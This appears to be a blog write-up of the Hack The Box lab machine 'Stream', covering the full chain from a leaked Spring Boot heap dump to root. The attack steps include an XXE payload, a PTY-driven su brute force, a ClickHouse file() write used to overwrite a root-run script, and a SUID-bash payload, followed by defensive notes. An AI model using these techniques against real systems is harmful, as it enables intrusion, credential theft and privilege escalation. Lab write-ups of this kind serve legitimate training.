Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Stream

Stream is built around an airport data pipeline: an nginx-fronted Spring Boot API, an AIDX (flight-leg) XML ingest service on Uvicorn, a Kafka message bus, and a ClickHouse datastore.

platform
Hack The Box
target_os
Linux
difficulty
Medium
season
Season 12
logged
November 1, 2026
exploit_vectors → Spring Boot Actuator heap dumpClickHouse accessXXE in the AIDX parserKafka SASL credentials

Summary of Exploitation

Stream is built around an airport data pipeline: an nginx-fronted Spring Boot API, an AIDX (flight-leg) XML ingest service on Uvicorn, a Kafka message bus, and a ClickHouse datastore. The chain moves from an exposed Spring Boot Actuator endpoint all the way to root entirely through misconfiguration and classic bug classes — no named CVEs:

  1. Spring Boot Actuator heap dump on the API vhost is publicly downloadable; strings over it leaks the svc_events ClickHouse credentials.
  2. ClickHouse access as svc_events over the HTTP interface (:8123) gives read/insert on the partner_feed database.
  3. XXE in the AIDX parser — the downstream worker parses XML with lxml entity resolution and network access enabled; an external entity reads a local Kafka client config, whose contents land in ClickHouse where they can be read back.
  4. Kafka SASL credentials for svc_infra recovered from that config are reused to SSH in as svc-infra — the foothold.
  5. No su lockout → brute force of martin_cole (driven through a PTY) cracks the password tinkerbell, yielding the user flag.
  6. Readable Kopia backup in martin_cole’s home restores a ClickHouse error log containing a plaintext ALTER USER default IDENTIFIED BY ..., handing over the ClickHouse default (admin) password.
  7. Root via a privileged drainer service — aidx-dlq-drainer.service runs as root on a 2-minute timer and executes a Python script inside ClickHouse’s user_files/. The default user’s file() write primitive overwrites that script; publishing a DLQ message triggers the root-run code → root flag.

Recon Phase

Full-port scan against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Notes
22 open ssh OpenSSH
80 open http nginx — name-based vhosts
8081 open http Uvicorn — AIDX flight-leg ingest service

Key takeaways:

  • nginx serves named virtual hosts — fuzzing/headers reveal htb-airport.htb, api.htb-airport.htb, and db.htb-airport.htb.
  • The API vhost exposes Spring Boot Actuator, including a publicly downloadable /actuator/heapdump — the loudest leak on the box.
  • The AIDX ingest service’s own description notes that the ingest step does not parse XML and that validation happens downstream — a strong hint that the real parser (and its bugs) lives further along the pipeline.

Hostnames added to /etc/hosts:

echo "<target-ip>  htb-airport.htb api.htb-airport.htb db.htb-airport.htb" | sudo tee -a /etc/hosts

Foothold

Step 1 — Actuator Heap Dump → ClickHouse credentials

The Spring Boot Actuator on the API vhost exposed the heap dump:

curl -s http://api.htb-airport.htb/actuator/heapdump -o heapdump.hprof

Secrets were recovered by stringing the dump and grepping for connection-string terms:

strings heapdump.hprof | grep -iE 'password|jdbc|clickhouse|svc_' | sort -u

This yielded the svc_events ClickHouse credentials.

Step 2 — ClickHouse access (svc_events)

The svc_events account could query and insert into the partner_feed database through the ClickHouse HTTP interface:

curl -s 'http://db.htb-airport.htb:8123/' \
  --user 'svc_events:<password>' \
  --data-binary 'SHOW TABLES FROM partner_feed'

This is the read-back channel used for the XXE exfiltration in the next step: the parsed AIDX output is written through Kafka into ClickHouse, which svc_events can read.

Step 3 — XXE in the AIDX parser

The downstream parser worker used lxml with external entity resolution enabled and network access allowed. An AIDX XML payload carrying an external entity that references a local Kafka client config was POSTed to the ingest endpoint:

<?xml version="1.0"?>
<!DOCTYPE flightleg [
  <!ENTITY xxe SYSTEM "file:///path/to/kafka/client.properties">
]>
<FlightLeg><Note>&xxe;</Note></FlightLeg>
curl -s -X POST http://<ingest-host>:8081/feeds/aidx \
  -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml

The entity-expanded content flowed through Kafka into ClickHouse, and was read back via the svc_events HTTP query from Step 2.

Step 4 — Kafka SASL creds → SSH as svc-infra

The leaked Kafka client config contained SASL/PLAIN credentials for svc_infra. The password was reused for SSH:

ssh svc-infra@<target-ip>
# password: <svc-infra password from Kafka SASL config>

Foothold obtained as svc-infra.


Lateral Movement

Step 5 — Brute-forcing martin_cole via su

svc-infra could not read the user flag; the next account was martin_cole. The box had no account-lockout on local authentication, so su was brute-forced. Because su requires a controlling TTY, the attempts were driven through a PTY:

import pty, os, sys

def try_pw(pw):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", "martin_cole", "-c", "id"])
    # parent: feed pw to the prompt, read result, detect success
    ...
  • Wordlist: rockyou.txt, served from the attacker over HTTP and split into chunks for parallel workers.
  • Recovered password: tinkerbell.
su martin_cole        # tinkerbell
id                    # uid=…(martin_cole)
cat ~/user.txt        # [REDACTED]

User flag obtained.

Step 6 — Readable Kopia backup → ClickHouse default password

A filesystem-based Kopia repository in martin_cole’s home directory was readable. Connecting to it and restoring the ch-logs snapshot exposed clickhouse-server.err.log:

kopia repository connect filesystem --path <repo-path>
kopia snapshot list
kopia snapshot restore <snapshot-id> ./restore/
grep -i 'ALTER USER' ./restore/clickhouse-server.err.log
# ALTER USER default IDENTIFIED BY '<default password>'

The log leaked a plaintext ALTER USER default IDENTIFIED BY ... statement — the ClickHouse default (admin) account password.

Alternative observed on-box: the ClickHouse admin password is also recoverable at runtime from the world-readable /proc/<pid>/cmdline of the clickhouse-client invocation spawned by the root drainer — the password is passed on the command line (--password <…>), so flooding the DLQ to trigger the invocation and bulk-reading /proc/*/cmdline captures it. The Kopia-log route is the intended path; the argv-leak route reaches the same credential.


Root

Step 7 — Hijack the privileged DLQ drainer

Enumeration of systemd revealed the escalation target:

systemctl list-timers --all | grep -i aidx
cat /etc/systemd/system/aidx-dlq-drainer.service
  • aidx-dlq-drainer.service runs as root, Type=oneshot, on a timer every ~2 minutes.
  • It consumes the Kafka dead-letter topic and executes a Python script located in ClickHouse’s user_files/ directory (/var/lib/clickhouse/user_files/…).

The ClickHouse default user has a file-write primitive via the file() table function — INTO OUTFILE is blocked, but writing through INSERT INTO FUNCTION file(...) is not. This was used to overwrite the script the drainer executes:

-- as ClickHouse default, over the HTTP interface
INSERT INTO FUNCTION file('<script-name>.py', 'RawBLOB')
SELECT base64Decode('<base64 of the root payload>')
SETTINGS engine_file_truncate_on_insert = 1;

A minimal payload (reverse shell, or — cleaner — a SUID-bash drop that survives the oneshot completing):

#!/usr/bin/env python3
import os
os.system("cp /bin/bash /tmp/rootbash; chmod 6755 /tmp/rootbash")

Publishing a message to the DLQ topic triggers the root-run service on its next tick:

# produce one message to the dead-letter topic → drainer executes the hijacked script as root

After the timer fires:

/tmp/rootbash -p
id              # euid=0(root)
cat /root/root.txt   # [REDACTED]

Root flag obtained.


Key Takeaways

  • Exposed Actuator heap dumps leak secrets. A single publicly reachable /actuator/heapdump surrendered the first database credential and bootstrapped the whole chain.
  • XML parsers with entity resolution + network access are XXE by default. The “validation happens downstream” hint pointed straight at the vulnerable lxml worker, and the Kafka config was the high-value file to read.
  • A read-back channel turns blind bugs into exfil. Because parsed output lands in ClickHouse that a leaked account can query, the XXE didn’t need to be in-band.
  • No lockout makes su brute-forceable — but only through a PTY, since su refuses a non-TTY stdin.
  • Backups and logs inherit the sins they record. A readable Kopia repo restored an error log that had captured a plaintext ALTER USER … IDENTIFIED BY ….
  • Secrets on the command line are world-readable. /proc/<pid>/cmdline exposes any password passed as an argv to a spawned client.
  • Writable paths executed by privileged services are game over. A root timer running a script from a ClickHouse-writable directory collapsed admin-DB access into root.

Full Attack Chain

/actuator/heapdump (public)  ──>  svc_events ClickHouse creds
   └─ ClickHouse HTTP :8123 (partner_feed)  ──>  read-back channel
        └─ AIDX XXE (lxml external entity → Kafka client config)  ──>  svc_infra SASL creds
             └─ SSH as svc-infra   [FOOTHOLD]
                  └─ su brute-force via PTY (rockyou)  ──>  martin_cole : tinkerbell   [USER]
                       └─ readable Kopia backup → ch err.log → ClickHouse `default` admin pw
                            └─ ClickHouse file() write → overwrite aidx-dlq-drainer script
                                 └─ publish DLQ message → root timer runs payload → SUID bash  [ROOT]

Defensive Notes

  • Disable or firewall Spring Boot Actuator in production; never expose heapdump/env/threaddump.
  • Harden lxml: resolve_entities=False, no_network=True, and disallow DTDs on untrusted input.
  • Enforce account lockout / rate limiting on local auth; monitor repeated su failures.
  • Keep backups and server logs out of low-privilege home directories, and never log credential-changing SQL in plaintext.
  • Pass secrets via environment or files, never argv; lock down ClickHouse user_files/ and the file() function for non-admin roles.
  • A root-run service must never execute code from a directory writable by a lower-privileged account.